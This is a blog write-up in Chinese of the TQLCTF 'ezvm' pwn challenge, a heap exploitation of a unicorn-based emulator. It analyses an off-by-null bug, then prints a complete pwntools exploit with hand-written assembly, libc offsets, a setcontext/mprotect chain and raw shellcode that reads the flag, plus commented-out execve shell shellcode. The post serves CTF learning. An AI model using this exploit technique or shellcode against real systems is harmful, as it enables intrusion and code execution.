Loading... 上周末参加了奇安信和 Redbud 一起组织的 TQLCTF,pwn 题的质量挺高,都挺有意思的,我在比赛期间尝试做了 unbelievable_write,ezvm 和 trivm-string 三道题,做出两题。其中 unbelievable_write 是一个传统的堆题,free 掉 tcache_prethread_struct 然后 add 即可控制该结构体实现任意地址分配,分配到 free@got 处修改为别的函数即可避免 free 非法堆块导致报错,然后再分配到 target 处覆写即可获得 flag。很简单,就不写 wp 了。然后 trivm-string 这题,三进制平衡虚拟机,确实很有意思,逆向队友帮忙写了一个反汇编器,可惜分析的稍微有点问题。本来的思路是还原栈帧并理清输入流程找到溢出点,但是由于反汇编错误丢失一些 label,看了一会儿还是放弃了。之后准备学习一下反汇编器开发的技巧,再看看能不能写个该虚拟机的反汇编器。 ezvm 这道题是个 unicorn 的利用,在比赛中碰到过两次 unicorn 的利用,上一次是 TCTF 的 uc 系列题,当时比赛的时候好像有别的什么事就摸鱼了,赛后复现了一下,写成的 wp 是[TCTF2021-uc_masteeer-WP](https://cjovi.icu/WP/1515.html)这篇文章,当时算是入了个门,也可以参考本文了解一下 unicorn 的基本概念。这次比赛又碰到了就做了一下。这道题也算是个入门题,说到底来就是个普通堆利用。从碰到的 unicorn pwn 题来看都是加了个外部功能比如 hook 一个系统调用,然后在这个新功能里面有个洞然后要选手利用,其实就和现在比赛中常见的 kernel module pwn 差不多,不过 unicorn 环境下的 pwn 其实和用户态 pwn 差不多,只是一个宿主机一个客户机可能稍微有点绕,然后就是要手写汇编可能稍微麻烦一点(也可能可以编译生成 payload,不过这里我还是倾向于自己手写,更有安全感)。 首先拿到 binary,拖到 IDA 里面,会发现调用 uc 相关的函数时原先的枚举量都变成了数字,IDA 提供了数字转枚举转宏的功能,也提供了自动 parse 头文件生成枚举和宏的功能,首先从 unicorn 的 GitHub [release 页面](https://github.com/unicorn-engine/unicorn/releases/tag/1.0.3)获取源码,取出其中的头文件,我们需要用的相关定义主要在 `unicorn.h` 和 `x86.h` 中,使用 IDA 进行 parse 后,在 local type 中将 parse 出来的定义导入数据库,对着数字按 `m` 即可转为对应的枚举  全部转完之后就会好分析很多,然后我们来分析流程,很容易发现 hook 的系统调用提供了四种功能 * eax = 0,read,read 一段*宿主机文件*的内容并拷贝到客户机内存 * eax = 1,write,拷贝一段客户机内存并 write 到*宿主机文件*中 * eax = 2,open,打开一个*宿主机文件*,需要注意的是默认开启宿主机的 stdin,stdout,stderr 三个文件,剩下的文件开启关闭都是程序自己虚拟出来的 * eax = 3,close,关闭一个*宿主机文件* 刚才也说了,宿主机文件是虚拟的,什么意思呢,以 read 操作为例,可以看到实际调用时是这样实现的 ```cpp __int64 __fastcall sub_18FE(int a1, __int64 a2, __int64 a3) { int i; // [rsp+2Ch] [rbp-4h] for ( i = 0; i <= 15; ++i ) { if ( *((_QWORD *)&unk_5020 + 9 * i) == a1 ) return ((__int64 (__fastcall *)(char *, __int64, __int64))funcs_1999[9 * i])((char *)&unk_5020 + 72 * i, a2, a3); } return 0xFFFFFFFFLL; } ``` 这明显是一个类似于虚表的调用方式,通过一些简单的猜测,我们可以还原出 unk_5020 开始的这一段内存里面存储的结构体结构 ```cpp struct file { __int64 fd; char file_name[24]; __int64 buf; __int64 buf_size; void *read; void *write; void *close; }; ``` 观察 open 操作 ```cpp __int64 __fastcall do_host_open(const char *file_name, unsigned __int64 buf_size) { unsigned __int64 size; // [rsp+0h] [rbp-20h] int i; // [rsp+14h] [rbp-Ch] int j; // [rsp+14h] [rbp-Ch] struct file *v6; // [rsp+18h] [rbp-8h] size = buf_size; for ( i = 0; i <= 15; ++i ) { if ( !strcmp(files[i].file_name, file_name) ) return files[i].fd; } if ( total_files > 15 ) return 0xFFFFFFFFLL; if ( buf_size > 0x400 ) size = 0x400LL; for ( j = 0; j <= 15 && files[j].file_name[0]; ++j ) ; v6 = &files[j]; v6->buf = (__int64)malloc(size); strcpy(v6->file_name, file_name); v6->read = file_read; v6->write = file_write; v6->close = file_close; v6->fd = j; ++total_files; v6->buf_size = size; return v6->fd; } ``` 分析虚表指针指向的函数就可以理解是如何实现客户机的 read write close 了。审计这个函数也可以发现主要的漏洞点,也就是 strcpy 处 off-by-null,会覆写 `file->buf` 的最低一位,由此可以实现 chunkoverlapping,之后打 `__free_hook`,通过 setcontext 栈迁移执行 mprotect ret2shell code 后 orw 即可获取 flag。 另外还有一个洞就是通过多次 close 一个文件后多次 open 文件可以实现数组越界修改 stderr 指针,但是这里似乎无法通过这种方式完成利用。 比较麻烦的地方在于堆环境比较乱,但是还比较稳定,所以多调试一下就可以完成堆风水。 ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] context.arch = "i386" #sh = process("./easyvm") sh = remote("120.24.82.252", 49790) """ main_arena 0x1ebb70 offset to __free_hook +0x2938 offset to __realloc_hook +0x2978 __free_hook 0x1eeb28 __realloc_hook 0x1ebb68 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; heap offset 0x9D0 setcontext 0x580DD mprotect 0x11bb00 """ code = """ mov edi, 0x401000; mov esi, 0x80; mov eax, 2; syscall; mov edi, 0x401020; mov esi, 0x400; mov eax, 2; syscall; mov edi, 0x401010; mov esi, 0x80; mov eax, 2; syscall; mov edi, 0x401060; mov esi, 0x400; mov eax, 2; syscall; mov edi, 0x3; mov edx, 8; mov esi, 0x4010F0; mov eax, 0; syscall; mov edi, 5; mov eax, 3; syscall; mov edi, 3; mov eax, 3; syscall; mov edi, 0x4; mov edx, 8; mov esi, 0x4010F8; mov eax, 0; syscall; mov eax, 0x4010F0; mov ebx, [eax]; sub ebx, 0x688; mov [eax], ebx; mov edi, 4; mov edx, 8; mov esi, 0x4010F0; mov eax, 1; syscall; mov edi, 0x401040; mov esi, 0x80; mov eax, 2; syscall; mov edi, 0x401050; mov esi, 0x80; mov eax, 2; syscall; """ code += """ mov eax, 0x4010F0; mov ebx, [eax]; sub ebx, 0x1ebb68; mov [eax], ebx; mov eax, 0x4010F8; mov ebx, [eax]; add ebx, 0x90; mov [eax], ebx; """ # set the context or so here code += """ mov ebx, 0x401200; mov eax, 0x4010F0; mov ecx, [eax]; add ecx, 0x154930; mov [ebx], ecx; mov ecx, [eax + 4]; mov [ebx + 4], ecx; mov ebx, 0x401208; mov eax, 0x4010F8; mov ecx, [eax]; mov [ebx], ecx; mov ecx, [eax + 4]; mov [ebx + 4], ecx; mov ebx, 0x401220; mov eax, 0x4010F0; mov ecx, [eax]; add ecx, 0x580DD; mov [ebx], ecx; mov ecx, [eax + 4]; mov [ebx + 4], ecx; mov ebx, 0x4012A0; mov eax, 0x4010F8; mov ecx, [eax] add ecx, 0x30; mov [ebx], ecx; mov ecx, [eax + 4]; mov [ebx + 4], ecx; mov ebx, 0x401268; mov eax, 0x4010F8; mov ecx, [eax] sub ecx, 0xf30; mov [ebx], ecx; mov ecx, [eax + 4]; mov [ebx + 4], ecx; mov ebx, 0x401270; mov ecx, 0x2000; mov [ebx], ecx; mov ecx, 0; mov [ebx + 4], ecx; mov ebx, 0x401288; mov ecx, 0x7; mov [ebx], ecx; mov ecx, 0; mov [ebx + 4], ecx; mov ebx, 0x4012A8; mov eax, 0x4010F0; mov ecx, [eax]; add ecx, 0x11bb00; mov [ebx], ecx; mov ecx, [eax + 4]; mov [ebx + 4], ecx; mov ebx, 0x401230; mov eax, 0x4010F8; mov ecx, [eax]; add ecx, 0x100; mov [ebx], ecx; mov ecx, [eax + 4]; mov [ebx + 4], ecx; mov ecx, 0x100; mov edi, 0x401300; mov esi, 0x402000; rep movs byte ptr [edi], [esi]; """ code += """ mov edi, 6; mov edx, 0x3F8; mov esi, 0x401200; mov eax, 1; syscall; """ # set the magic gadget code += """ mov eax, 0x4010F0; mov ebx, [eax]; add ebx, 0x154930; mov [eax], ebx; mov edi, 5; mov edx, 0x8; mov esi, 0x4010F0; mov eax, 1; syscall; """ # trigger the gadget code += """ mov edi, 6; mov edx, 0x3F9; mov esi, 0x401200; mov eax, 1; syscall; """ code += """ mov edi, 1; mov edx, 0x10; mov esi, 0x4010F0; mov eax, 1; syscall; """ #shellcode = asm(" /* execve(path='/bin/sh', argv=0, envp=0) */\n /* push '/bin/sh\\x00' */\n mov rax, 0x101010101010101\n push rax\n mov rax, 0x101010101010101 ^ 0x68732f6e69622f\n xor [rsp], rax\n mov rdi, 0\n mov rsi, rsp /* 0 */\n xor edx, edx /* 0 */\n xor r10, r10\n /* call execve() */\n push 322\n pop rax\n syscall\n") #shellcode = asm(shellcraft.open('./flag')) + asm('sub rsp, 0x100') + asm(shellcraft.read(3, 'rsp', 0x100)) + asm(shellcraft.write(1, 'rsp', 0x100)) shellcode = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8/.gm`f\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x05H\x81\xec\x00\x01\x00\x001\xc0j\x03_1\xd2\xb6\x01H\x89\xe6\x0f\x05j\x01_1\xd2\xb6\x01H\x89\xe6j\x01X\x0f\x05' payload = asm(code) payload = payload.ljust(0x1000, '\x00') payload += '/file1'.ljust(0x10, '\x00') # fd = 3, 0x401000 payload += '/file2'.ljust(0x10, '\x00') # fd = 5, 0x401010 payload += 'a'.ljust(0x20, 'a') # fd = 4, 0x401020 payload += '/file3'.ljust(0x10, '\x00') # fd = 4, 0x401040 payload += '/file4'.ljust(0x10, '\x00') # fd = 5, 0x401050 payload += '/file5'.ljust(0x10, '\x00') # fd = , 0x401060 payload += '/file6'.ljust(0x10, '\x00') # fd = , 0x401070 payload += '/file7'.ljust(0x10, '\x00') # fd = , 0x401080 payload += '/bin/sh'.ljust(0x10, '\x00') # fd = , 0x401090 payload = payload.ljust(0x2000, '\x00') payload += shellcode #gdb.attach(sh, gdbscript = "b * 0x7ffff736c1ee") sh.sendafter("code:", payload.ljust(0x4000, '\x00')) sh.interactive() ``` exp 写的比较乱,仅供参考。 最后修改:2022 年 02 月 21 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧